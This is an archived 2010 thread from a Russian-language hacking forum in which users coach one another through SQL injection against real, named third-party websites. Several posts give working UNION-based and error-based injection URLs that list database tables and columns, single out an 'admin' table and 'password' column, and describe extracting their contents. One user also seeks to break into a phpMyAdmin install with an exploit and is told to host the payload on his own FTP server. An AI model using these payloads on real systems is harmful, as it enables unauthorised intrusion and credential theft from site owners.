ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
26.06.2010, 01:56
|
|
Познающий
Регистрация: 21.07.2007
Сообщений: 68
Провел на форуме:
947074
Репутация:
257
|
|
Алкорайдер. В следующий раз делай скрин как, "черный квадрат малевича" ..
Как вариат, ищи вручную...
http://www.mynhw.co.uk/news-full.php?id=-644+UNION+SELECT+1,2,group_concat(table_name,0x3a, column_name),4,5,6,7,8,9,10,11,12,13+from+informat ion_schema.columns+where+column_name+like+0x257061 737325
Я халосий
|
|
|
26.06.2010, 02:15
|
|
Новичок
Регистрация: 03.06.2009
Сообщений: 10
Провел на форуме:
178004
Репутация:
0
|
|
Сообщение от v1d0qz
v1d0qz said:
Алкорайдер
. В следующий раз делай скрин как, "черный квадрат малевича" ..
Как вариат, ищи вручную...
http://www.mynhw.co.uk/news-full.php?id=-644+UNION+SELECT+1,2,group_concat(table_name,0x3a, column_name),4,5,6,7,8,9,10,11,12,13+from+informat ion_schema.columns+where+column_name+like+0x257061 737325
Я халосий
Телепат, не?
Пробовал сам разобрать что там за урл, не получилось, думал норм замазал
Ок, попробую, спасибо
|
|
|
|
26.06.2010, 06:00
|
|
Участник форума
Регистрация: 14.11.2008
Сообщений: 149
Провел на форуме:
950638
Репутация:
256
|
|
Сообщение от Ctacok
Ctacok said:
И что, в бд примерно 40 табл, group_concat() ограничен 512 символами.
40 табл находится в базе bla1.
Просто тупо, bla1 40 раз повторится.
Не вариант
.
// 2Konqi, даже так.
// manual говорит что 512.
Это безусловно ясно, я всего лишь предложил, как альтернативный вариант, тем более ограничение при group_concat() легко обходится substring(), а "лишнее" тоже можно исключить из вывода! Пример:
Код:
Code:
SELECT substring(GROUP_CONCAT(DISTINCT table_schema separator 0x0a),0,512)
FROM information_schema.tables
Сообщение от auth_root
auth_root said:
А если так
select concat_ws(0x3A3a,table_schema,table_name,column_na me) from information_schema.columns limit 1,1
и лимитом перебирать? Будет выводить к какой базе относится таблица и поле, так и узнаем все базы на серваке. Или я не правильно понял вопрос
Долго и муторно это
|
|
|
|
26.06.2010, 19:11
|
|
Постоянный
Регистрация: 06.01.2010
Сообщений: 785
Провел на форуме:
1777031
Репутация:
256
|
|
Есть сайт с phpMyAdmin 2.11.8.1. Можно ли как нибудь войти в пхпмайадмин не имея логина и пароля?
Нашел вот этот эксплоит, но не могу понять, что он мне даст =\.
И что прописать в:
Сообщение от None
$ftp_code = 'ftp://user
assword@ftp.com/www/test.txt'; /*полный ftp-путь до файла с содержимым */
?
Точнее как узнать полный ftp-путь до файла с содержимым ? |
|
|
|
26.06.2010, 19:24
|
|
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
Провел на форуме:
12942062
Репутация:
1550
|
|
Сообщение от CyberHunter
CyberHunter said:
Есть сайт с phpMyAdmin 2.11.8.1. Можно ли как нибудь войти в пхпмайадмин не имея логина и пароля?
Нашел вот
этот
эксплоит, но не могу понять, что он мне даст =\.
И что прописать в:
?
Точнее как узнать полный ftp-путь до файла с содержимым ? Загружаешь на свой ФТП файл test.txt с содержимым нужным, в скрипте указываешь адрес своего ФТП.
|
|
|
|
26.06.2010, 19:36
|
|
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
Провел на форуме:
472147
Репутация:
211
|
|
вроде блайнд,версия 5 хелп!!!
Код:
Code:
http://www.plan-art.co.uk/case.php?id=116+and+substring(@@version,1,1)=5--
|
|
|
|
26.06.2010, 20:50
|
|
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
Провел на форуме:
540530
Репутация:
54
|
|
http://www.plan-art.co.uk/case.php?id=116+and+(select+1+from+(select+count(0 ),concat((select+version()),floor(rand(0)*2))+from +information_schema.tables+group+by+2)a)--
|
|
|
|
26.06.2010, 21:28
|
|
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
Провел на форуме:
472147
Репутация:
211
|
|
Сообщение от pinch
pinch said:
http://www.plan-art.co.uk/case.php?id=116+and+(select+1+from+(select+count(0 ),concat((select+version()),floor(rand(0)*2))+from +information_schema.tables+group+by+2)a)--
неплохо, но хотелосьбы получить еще базы,таблички,колонки...и потом выдрать инфу из таблички...
желательно в подробностях...
|
|
|
|
26.06.2010, 21:55
|
|
Постоянный
Регистрация: 06.01.2010
Сообщений: 785
Провел на форуме:
1777031
Репутация:
256
|
|
Сообщение от None
неплохо, но хотелосьбы получить еще базы,таблички,колонки...и потом выдрать инфу из таблички...
желательно в подробностях...
table_name:
Код:
Code:
http://www.plan-art.co.uk/case.php?id=116+and+(select+1+from+(select+count(0),concat((select+table_name),floor(rand(0)*2))+from+information_schema.tables+group+by+2)a)+--+
admin
column_name:
Код:
Code:
http://www.plan-art.co.uk/case.php?id=116+and+(select+1+from+(select+count(0),concat((select+column_name),floor(rand(0)*2))+from+information_schema.columns+where+table_name='admin'+group+by+2)a)+--+
password
Вместо version() пиши то, что тебе нужно.
|
|
|
|
26.06.2010, 22:08
|
|
Постоянный
Регистрация: 06.01.2010
Сообщений: 785
Провел на форуме:
1777031
Репутация:
256
|
|
Сообщение от None
Загружаешь на свой ФТП файл test.txt с содержимым нужным, в скрипте указываешь адрес своего ФТП.
С каким содержимым файл? В скрипте этом?
И вообще можете объяснить, что сделает этот скрипт?
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
